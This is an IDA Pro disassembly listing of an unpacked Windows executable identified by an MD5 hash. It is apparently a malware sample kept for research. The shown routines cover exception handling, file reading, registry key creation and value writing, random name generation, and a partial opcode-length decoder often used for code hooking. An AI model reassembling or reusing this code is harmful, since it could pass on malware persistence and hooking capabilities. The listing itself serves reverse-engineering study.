;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	55E17ADCE46B553B68F4DEFD9908DEC6

; File Name   :	u:\work\55e17adce46b553b68f4defd9908dec6_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00007000 (  28672.)
; Section size in file		: 00007000 (  28672.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
_text		segment	para public 'DATA' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================



sub_401000	proc near		; DATA XREF: sub_401020+Ao
					; sub_41CE01+Ao

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		xor	eax, eax
		inc	eax
		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		jz	short locret_40101F
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_40101F:				; CODE XREF: sub_401000+Ej
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401020	proc near		; CODE XREF: sub_40109A+BEp
					; sub_40109A+ECp

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_401000
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_40103D:				; CODE XREF: sub_401020+44j
					; sub_401020+4Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40106C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_40106C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	ecx, [esp+1Ch+var_14]
		mov	ecx, [eax+0Ch]
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_40103D
		call	dword ptr [ebx+esi*4+8]
		jmp	short loc_40103D
; ---------------------------------------------------------------------------


loc_40106C:				; CODE XREF: sub_401020+2Aj
					; sub_401020+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401020	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40107A	proc near		; CODE XREF: sub_40109A+B1p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_401092
		push	[ebp+arg_0]
		call	sub_407AA4	; RtlUnwind
sub_40107A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401092	proc near		; DATA XREF: sub_40107A+Bo
					; sub_41CE5B+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401092	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40109A	proc near		; DATA XREF: sub_401219+10o
					; sub_404ED7+Ao ...

var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		cld
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		mov	dword_41A08C, eax
		mov	dword_41A090, ebx
		test	dword ptr [eax+4], 6
		jnz	loc_40117F
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		mov	dword_41A090, eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4010DD:				; CODE XREF: sub_40109A+DCj
		cmp	esi, 0FFFFFFFFh
		jz	loc_40118E
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_40116D
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		mov	eax, [ebp+var_14]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	dword_41A030, eax
		mov	edx, [ebp+var_14]
		mov	eax, [edx]
		mov	dword_41A034, eax
		mov	eax, [edx+4]
		mov	dword_41A038, eax
		push	esi
		push	edi
		push	ecx
		mov	ecx, 14h
		lea	edi, dword_41A03C
		mov	esi, dword_41A034
		rep movsd
		lea	edi, dword_41A03C
		mov	dword_41A034, edi
		pop	ecx
		pop	edi
		pop	esi
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_40116D
		js	short loc_40117B
		mov	edi, [ebx+8]
		push	ebx
		call	sub_40107A
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_401020
		add	esp, 8
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4]
		mov	eax, [ebx+0Ch]
		call	dword ptr [edi+ecx*4+8]


loc_40116D:				; CODE XREF: sub_40109A+54j
					; sub_40109A+A9j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	loc_4010DD
; ---------------------------------------------------------------------------


loc_40117B:				; CODE XREF: sub_40109A+ABj
		xor	eax, eax
		jmp	short loc_4011F0
; ---------------------------------------------------------------------------


loc_40117F:				; CODE XREF: sub_40109A+23j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_401020
		add	esp, 0Ch


loc_40118E:				; CODE XREF: sub_40109A+46j
		push	0
		mov	dword_41A010, 0Bh
		push	0Bh
		call	sub_407E34
		add	esp, 8
		or	eax, eax
		jnz	short loc_4011C9
		push	0
		mov	dword_41A010, 8
		push	8
		call	sub_407E34
		add	esp, 8
		or	eax, eax
		jnz	short loc_4011C9
		mov	eax, 1
		jmp	short loc_4011F0
; ---------------------------------------------------------------------------


loc_4011C9:				; CODE XREF: sub_40109A+10Cj
					; sub_40109A+126j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4011F8
		push	eax
		push	dword_41A010
		call	sub_407E34
		add	esp, 8
		push	dword_41A010
		call	sub_407E1C
		add	esp, 4
		mov	eax, 1


loc_4011F0:				; CODE XREF: sub_40109A+E3j
					; sub_40109A+12Dj ...
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4011F8:				; CODE XREF: sub_40109A+132j
		cmp	dword_41A02C, 0
		jnz	short loc_401208
		mov	eax, 1
		jmp	short loc_4011F0
; ---------------------------------------------------------------------------


loc_401208:				; CODE XREF: sub_40109A+165j
		mov	eax, dword_41A02C
		push	0Bh
		jmp	eax
sub_40109A	endp

; ---------------------------------------------------------------------------
		pop	eax
		mov	eax, 1
		jmp	short loc_4011F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401219	proc near		; CODE XREF: .aspack:00427501j
					; DATA XREF: .aspack:loc_4274FCo

var_30		= word ptr -30h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41A01C
		push	offset sub_40109A
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	eax
		fnstcw	[esp+30h+var_30]
		or	[esp+30h+var_30], 300h
		fldcw	[esp+30h+var_30]
		add	esp, 4
		push	0
		push	0
		push	offset dword_41A028
		push	offset dword_41A024
		push	offset dword_41A020
		call	sub_407DBC
		push	dword_41A028
		push	dword_41A024
		push	dword_41A020
		mov	dword_41A014, esp
		call	sub_407868
		add	esp, 18h
		xor	ecx, ecx
		mov	[ebp+var_4], ecx
		push	eax
		call	sub_407DEC
		leave
		retn
sub_401219	endp

; ---------------------------------------------------------------------------
		mov	large fs:0, eax
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40129C	proc near		; CODE XREF: sub_404FCE+E9p

var_14C0C	= dword	ptr -14C0Ch
var_14C08	= byte ptr -14C08h

		push	ebp
		mov	ebp, esp
		mov	eax, 14C0Ch
		call	sub_4078CC
		push	esi
		push	edi
		push	0
		push	0
		push	3
		push	0
		push	0
		push	80000000h
		push	offset dword_408120
		call	sub_407A8C	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4012CF
		xor	eax, eax
		jmp	short loc_401322
; ---------------------------------------------------------------------------


loc_4012CF:				; CODE XREF: sub_40129C+2Dj
		push	0
		lea	eax, [ebp+var_14C0C]
		push	eax
		push	14C08h
		lea	eax, [ebp+var_14C08]
		push	eax
		push	esi
		call	sub_407A98	; ReadFile
		push	esi
		call	sub_407984	; CloseHandle
		xor	edi, edi


loc_4012F2:				; CODE XREF: sub_40129C+82j
		push	1
		push	offset byte_419260
		lea	eax, [ebp+edi+var_14C08]
		push	eax
		call	sub_401429
		add	esp, 0Ch
		cmp	eax, 0FFFFh
		jz	short loc_401315
		xor	eax, eax
		inc	eax
		jmp	short loc_401322
; ---------------------------------------------------------------------------


loc_401315:				; CODE XREF: sub_40129C+72j
		add	edi, 11h
		cmp	edi, [ebp+var_14C0C]
		jb	short loc_4012F2
		xor	eax, eax


loc_401322:				; CODE XREF: sub_40129C+31j
					; sub_40129C+77j
		pop	edi
		pop	esi
		leave
		retn
sub_40129C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401326	proc near		; CODE XREF: sub_403D8E+65p
					; sub_405AAC+DDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		push	20019h
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_407D44	; RegOpenKeyExA
		mov	edi, eax
		or	edi, edi
		jz	short loc_40134B
		xor	eax, eax
		jmp	short loc_401376
; ---------------------------------------------------------------------------


loc_40134B:				; CODE XREF: sub_401326+1Fj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	sub_407D50	; RegQueryValueExA
		mov	edi, eax
		push	[ebp+var_4]
		call	sub_407D38	; RegCloseKey
		or	edi, edi
		jz	short loc_401373
		xor	eax, eax
		jmp	short loc_401376
; ---------------------------------------------------------------------------


loc_401373:				; CODE XREF: sub_401326+47j
		xor	eax, eax
		inc	eax


loc_401376:				; CODE XREF: sub_401326+23j
					; sub_401326+4Bj
		pop	edi
		leave
		retn
sub_401326	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401379	proc near		; CODE XREF: sub_403BC5+55p
					; sub_403BC5+76p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_407D2C	; RegCreateKeyExA
		mov	edi, eax
		or	edi, edi
		jz	short loc_4013A9
		xor	eax, eax
		jmp	short loc_4013E1
; ---------------------------------------------------------------------------


loc_4013A9:				; CODE XREF: sub_401379+2Aj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	sub_407D5C	; RegSetValueExA
		mov	edi, eax
		push	[ebp+var_4]
		call	sub_407D38	; RegCloseKey
		or	edi, edi
		jz	short loc_4013D1
		xor	eax, eax
		jmp	short loc_4013E1
; ---------------------------------------------------------------------------


loc_4013D1:				; CODE XREF: sub_401379+52j
		cmp	[ebp+var_8], 1
		jnz	short loc_4013DE
		mov	eax, 2
		jmp	short loc_4013E1
; ---------------------------------------------------------------------------


loc_4013DE:				; CODE XREF: sub_401379+5Cj
		xor	eax, eax
		inc	eax


loc_4013E1:				; CODE XREF: sub_401379+2Ej
					; sub_401379+56j ...
		pop	edi
		leave
		retn
sub_401379	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4013E4	proc near		; CODE XREF: sub_403659+CEp
					; sub_405AAC+25p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		xor	esi, esi
		jmp	short loc_401416
; ---------------------------------------------------------------------------


loc_4013F1:				; CODE XREF: sub_4013E4+35j
		call	sub_407E28
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	edi, eax
		add	edi, 61h
		mov	edx, edi
		mov	[ebx+esi], dl
		inc	esi


loc_401416:				; CODE XREF: sub_4013E4+Bj
		cmp	esi, [ebp+arg_4]
		jl	short loc_4013F1
		mov	eax, [ebp+arg_4]
		mov	byte ptr [ebx+eax], 0
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4013E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401429	proc near		; CODE XREF: sub_40129C+65p
					; sub_4034AD+30p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_40148D
; ---------------------------------------------------------------------------


loc_40143E:				; CODE XREF: sub_401429+76j
		xor	ebx, ebx
		mov	edi, ebx
		jmp	short loc_40147A
; ---------------------------------------------------------------------------


loc_401444:				; CODE XREF: sub_401429+5Fj
		mov	eax, [ebp+var_4]
		add	eax, edi
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx+eax]
		movsx	edx, byte ptr [esi+edi]
		cmp	eax, edx
		jnz	short loc_401459
		inc	ebx


loc_401459:				; CODE XREF: sub_401429+2Dj
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_40145E:				; CODE XREF: sub_401429+3Aj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40145E
		cmp	ebx, eax
		jnz	short loc_401479
		inc	[ebp+var_8]
		mov	eax, [ebp+arg_8]
		cmp	[ebp+var_8], eax
		jnz	short loc_401479
		mov	eax, [ebp+var_4]
		jmp	short loc_4014A6
; ---------------------------------------------------------------------------


loc_401479:				; CODE XREF: sub_401429+3Ej
					; sub_401429+49j
		inc	edi


loc_40147A:				; CODE XREF: sub_401429+19j
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_40147F:				; CODE XREF: sub_401429+5Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40147F
		cmp	edi, eax
		jb	short loc_401444
		inc	[ebp+var_4]


loc_40148D:				; CODE XREF: sub_401429+13j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_401495:				; CODE XREF: sub_401429+71j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_401495
		cmp	[ebp+var_4], eax
		jb	short loc_40143E
		mov	eax, 0FFFFh


loc_4014A6:				; CODE XREF: sub_401429+4Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401429	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		mov	esi, [esp+18h]
		mov	ebx, [esp+1Ch]
		mov	edi, esi
		jmp	short loc_4014D8
; ---------------------------------------------------------------------------


loc_4014BA:				; CODE XREF: .text:004014DAj
		mov	eax, [esp+10h]
		movsx	eax, byte ptr [eax+edi]
		mov	edx, edi
		sub	edx, esi
		mov	ecx, [esp+14h]
		movsx	edx, byte ptr [ecx+edx]
		cmp	eax, edx
		jz	short loc_4014D7
		xor	eax, eax
		inc	eax
		jmp	short loc_4014DE
; ---------------------------------------------------------------------------


loc_4014D7:				; CODE XREF: .text:004014D0j
		inc	edi


loc_4014D8:				; CODE XREF: .text:004014B8j
		cmp	edi, ebx
		jl	short loc_4014BA
		xor	eax, eax


loc_4014DE:				; CODE XREF: .text:004014D5j
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4014E2	proc near		; CODE XREF: sub_403659+2Fp
					; sub_403D8E+29Fp ...

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		push	0
		push	80h
		push	3
		push	0
		push	3
		push	80000000h
		push	[ebp+arg_0]
		call	sub_407A8C	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_40151B
		cmp	[ebp+arg_4], 0
		jz	short loc_401517
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0


loc_401517:				; CODE XREF: sub_4014E2+2Dj
		xor	eax, eax
		jmp	short loc_40155B
; ---------------------------------------------------------------------------


loc_40151B:				; CODE XREF: sub_4014E2+27j
		push	0
		push	edi
		call	sub_407954	; GetFileSize
		mov	esi, eax
		add	eax, 10h
		push	eax
		push	40h
		call	sub_407A5C	; LocalAlloc
		mov	ebx, eax
		push	0
		cmp	[ebp+arg_4], 0
		jz	short loc_401542
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		jmp	short loc_401548
; ---------------------------------------------------------------------------


loc_401542:				; CODE XREF: sub_4014E2+56j
		lea	eax, [ebp+var_4]
		mov	[ebp+var_8], eax


loc_401548:				; CODE XREF: sub_4014E2+5Ej
		push	[ebp+var_8]
		push	esi
		push	ebx
		push	edi
		call	sub_407A98	; ReadFile
		push	edi
		call	sub_407984	; CloseHandle
		mov	eax, ebx


loc_40155B:				; CODE XREF: sub_4014E2+37j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4014E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401560	proc near		; CODE XREF: sub_403659+3CBp
					; sub_405AAC+76Fp
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
sub_401560	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401565	proc near		; DATA XREF: .data:0041DF15o
		push	edi
		mov	esi, [ebp+8]
		mov	ebx, [ebp+0Ch]
		mov	edi, ebx
		jmp	short loc_40159E
; ---------------------------------------------------------------------------


loc_401570:				; CODE XREF: sub_401565+3Dj
		cmp	byte ptr [esi+edi], 0Dh
		jnz	short loc_40159D
		mov	eax, edi
		sub	eax, ebx
		push	eax
		mov	eax, esi
		add	eax, ebx
		push	eax
		push	dword ptr [ebp+10h]
		call	sub_407E04
		add	esp, 0Ch
		mov	eax, edi
		sub	eax, ebx
		mov	edx, [ebp+10h]
		mov	byte ptr [edx+eax], 0
		mov	eax, edi
		add	eax, 2
		jmp	short loc_4015E7
; ---------------------------------------------------------------------------


loc_40159D:				; CODE XREF: sub_401565+Fj
		inc	edi


loc_40159E:				; CODE XREF: sub_401565+9j
		cmp	byte ptr [esi+edi], 0
		jnz	short loc_401570
		or	ebx, ebx
		jz	short loc_4015C2
		cmp	byte ptr [esi+edi], 0
		jnz	short loc_4015C2
		mov	eax, edi
		dec	eax
		cmp	byte ptr [esi+eax], 0Ah
		jnz	short loc_4015C2
		mov	eax, [ebp+10h]
		mov	byte ptr [eax],	0
		mov	eax, ebx
		inc	eax
		jmp	short loc_4015E7
; ---------------------------------------------------------------------------


loc_4015C2:				; CODE XREF: sub_401565+41j
					; sub_401565+47j ...
		mov	eax, esi
		add	eax, ebx
		push	eax
		call	sub_407B4C	; lstrlenA
		mov	edi, eax
		or	edi, edi
		jz	short loc_4015E5
		mov	eax, esi
		add	eax, ebx
		push	eax
		push	dword ptr [ebp+10h]
		call	sub_4078EC
		mov	eax, ebx
		add	eax, edi
		jmp	short loc_4015E7
; ---------------------------------------------------------------------------


loc_4015E5:				; CODE XREF: sub_401565+6Bj
		xor	eax, eax


loc_4015E7:				; CODE XREF: sub_401565+36j
					; sub_401565+5Bj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_401565	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4015EC	proc near		; CODE XREF: sub_401D98+53p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		inc	dword_41A1FC
		mov	ecx, esi
		and	ds:dword_408004, 0
		and	ds:dword_408FF4, 0
		and	ds:dword_40900C, 0
		and	ds:dword_408110, 0
		mov	ds:dword_408FD8, 4
		mov	ds:dword_408A34, 4


loc_40162E:				; CODE XREF: sub_4015EC+100j
					; sub_4015EC+11Cj ...
		mov	eax, ecx
		inc	ecx
		mov	al, [eax]
		mov	ds:byte_408A30,	al
		movzx	eax, ds:byte_408A30
		or	eax, eax
		jl	loc_401874
		cmp	eax, 0FFh
		jg	loc_401874
		jmp	off_41A200[eax*4]


loc_401659:				; CODE XREF: sub_4015EC+24Dj
					; DATA XREF: .data:off_41A200o	...
		or	byte ptr ds:dword_408FF4, 40h
		jmp	loc_401874
; ---------------------------------------------------------------------------
		inc	dword_41A1FC


loc_40166B:				; CODE XREF: sub_4015EC+66j
					; sub_4015EC+24Dj
					; DATA XREF: ...
		xor	eax, eax
		cmp	byte ptr [ecx],	20h
		setnz	al
		dec	eax
		and	eax, 4
		inc	eax
		mov	[ebp+var_4], eax
		add	ds:dword_40900C, eax
		jmp	loc_401874
; ---------------------------------------------------------------------------


loc_401686:				; CODE XREF: sub_4015EC+66j
					; sub_4015EC+24Dj
					; DATA XREF: ...
		or	byte ptr ds:dword_408FF4, 40h
		test	byte ptr [ecx],	38h
		jnz	loc_401874


loc_401696:				; CODE XREF: sub_4015EC+66j
					; DATA XREF: .data:0041A210o ...
		test	ds:byte_408A30,	1
		jz	short loc_4016AF
		mov	eax, ds:dword_408FD8
		add	ds:dword_40900C, eax
		jmp	loc_401874
; ---------------------------------------------------------------------------


loc_4016AF:				; CODE XREF: sub_4015EC+B1j
		inc	ds:dword_40900C
		jmp	loc_401874
; ---------------------------------------------------------------------------


loc_4016BA:				; CODE XREF: sub_4015EC+66j
					; sub_4015EC+24Dj
					; DATA XREF: ...
		inc	ds:dword_40900C
		jmp	loc_401874
; ---------------------------------------------------------------------------
		inc	dword_41A1FC


loc_4016CB:				; CODE XREF: sub_4015EC+66j
					; DATA XREF: .data:0041A298o ...
		test	byte ptr ds:dword_408FF4, 10h
		jz	short loc_4016DB
		xor	eax, eax
		jmp	loc_40199D
; ---------------------------------------------------------------------------


loc_4016DB:				; CODE XREF: sub_4015EC+E6j
		or	byte ptr ds:dword_408FF4, 10h
		mov	al, ds:byte_408A30
		mov	ds:byte_40811C,	al
		jmp	loc_40162E
; ---------------------------------------------------------------------------


loc_4016F1:				; CODE XREF: sub_4015EC+66j
					; sub_4015EC+24Dj
					; DATA XREF: ...
		test	byte ptr ds:dword_408FF4, 4
		jz	short loc_401701
		xor	eax, eax
		jmp	loc_40199D
; ---------------------------------------------------------------------------


loc_401701:				; CODE XREF: sub_4015EC+10Cj
		or	byte ptr ds:dword_408FF4, 4
		jmp	loc_40162E
; ---------------------------------------------------------------------------


loc_40170D:				; CODE XREF: sub_4015EC+66j
					; sub_4015EC+24Dj
					; DATA XREF: ...
		test	byte ptr ds:dword_408FF4, 8
		jz	short loc_40171D
		xor	eax, eax
		jmp	loc_40199D
; ---------------------------------------------------------------------------


loc_40171D:				; CODE XREF: sub_4015EC+128j
		or	byte ptr ds:dword_408FF4, 8
		mov	al, ds:byte_408A30
		mov	ds:byte_409120,	al
		jmp	loc_40162E
; ---------------------------------------------------------------------------


loc_401733:				; CODE XREF: sub_4015EC+66j
					; DATA XREF: .data:0041A398o
		test	byte ptr ds:dword_408FF4, 1
		jz	short loc_401743
		xor	eax, eax
		jmp	loc_40199D
; ---------------------------------------------------------------------------


loc_401743:				; CODE XREF: sub_4015EC+14Ej
		or	byte ptr ds:dword_408FF4, 1
		mov	ds:dword_408FD8, 2
		jmp	loc_40162E
; ---------------------------------------------------------------------------


loc_401759:				; CODE XREF: sub_4015EC+66j
					; DATA XREF: .data:0041A39Co
		test	byte ptr ds:dword_408FF4, 2
		jz	short loc_401769
		xor	eax, eax
		jmp	loc_40199D
; ---------------------------------------------------------------------------


loc_401769:				; CODE XREF: sub_4015EC+174j
		or	byte ptr ds:dword_408FF4, 2
		mov	ds:dword_408A34, 2
		jmp	loc_40162E
; ---------------------------------------------------------------------------
		inc	dword_41A1FC


loc_401785:				; CODE XREF: sub_4015EC+66j
					; sub_4015EC+24Dj
					; DATA XREF: ...
		inc	ds:dword_40900C
		or	byte ptr ds:dword_408FF4, 40h
		jmp	loc_401874
; ---------------------------------------------------------------------------


loc_401797:				; CODE XREF: sub_4015EC+66j
					; sub_4015EC+24Dj
					; DATA XREF: ...
		mov	eax, ds:dword_408FD8
		add	ds:dword_40900C, eax
		or	byte ptr ds:dword_408FF4, 40h
		jmp	loc_401874
; ---------------------------------------------------------------------------


loc_4017AE:				; CODE XREF: sub_4015EC+66j
					; sub_4015EC+24Dj
					; DATA XREF: ...
		mov	eax, ds:dword_408FD8
		add	eax, 2
		add	ds:dword_40900C, eax
		jmp	loc_401874
; ---------------------------------------------------------------------------


loc_4017C1:				; CODE XREF: sub_4015EC+66j
					; sub_4015EC+24Dj
					; DATA XREF: ...
		mov	eax, ds:dword_408A34
		add	ds:dword_408110, eax
		jmp	loc_401874
; ---------------------------------------------------------------------------


loc_4017D1:				; CODE XREF: sub_4015EC+66j
					; sub_4015EC+24Dj
					; DATA XREF: ...
		mov	eax, ds:dword_408FD8
		add	ds:dword_40900C, eax
		jmp	loc_401874
; ---------------------------------------------------------------------------
		inc	dword_41A1FC


loc_4017E7:				; CODE XREF: sub_4015EC+66j
					; sub_4015EC+24Dj
					; DATA XREF: ...
		add	ds:dword_40900C, 2
		jmp	loc_401874
; ---------------------------------------------------------------------------


loc_4017F3:				; CODE XREF: sub_4015EC+66j
					; sub_4015EC+24Dj
					; DATA XREF: ...
		add	ds:dword_40900C, 3
		jmp	short loc_401874
; ---------------------------------------------------------------------------


loc_4017FC:				; CODE XREF: sub_4015EC+66j
					; sub_4015EC+24Dj
					; DATA XREF: ...
		xor	eax, eax
		jmp	loc_40199D
; ---------------------------------------------------------------------------


loc_401803:				; CODE XREF: sub_4015EC+66j
					; DATA XREF: .data:0041A23Co
		or	byte ptr ds:dword_408FF4, 20h
		mov	eax, ecx
		inc	ecx
		mov	al, [eax]
		mov	ds:byte_419130,	al
		movzx	eax, ds:byte_419130
		or	eax, eax
		jl	short loc_40186D
		cmp	eax, 0Bh
		jg	short loc_40182B
		jmp	off_41A600[eax*4]
; ---------------------------------------------------------------------------


loc_40182B:				; CODE XREF: sub_4015EC+236j
		cmp	eax, 80h
		jl	short loc_40186D
		cmp	eax, 0CFh
		jg	short loc_40186D
		jmp	off_41A430[eax*4]


loc_401840:				; CODE XREF: sub_4015EC+66j
					; sub_4015EC+238j
					; DATA XREF: ...
		or	byte ptr ds:dword_408FF4, 40h
		jmp	short loc_401874
; ---------------------------------------------------------------------------
		inc	dword_41A1FC
		jmp	short loc_401874
; ---------------------------------------------------------------------------


loc_401851:				; CODE XREF: sub_4015EC+66j
					; sub_4015EC+238j ...
		mov	eax, ds:dword_408FD8
		add	ds:dword_40900C, eax
		jmp	short loc_401874
; ---------------------------------------------------------------------------


loc_40185E:				; CODE XREF: sub_4015EC+66j
					; sub_4015EC+238j ...
		inc	ds:dword_40900C
		or	byte ptr ds:dword_408FF4, 40h
		jmp	short loc_401874
; ---------------------------------------------------------------------------


loc_40186D:				; CODE XREF: sub_4015EC+66j
					; sub_4015EC+231j ...
		xor	eax, eax
		jmp	loc_40199D
; ---------------------------------------------------------------------------


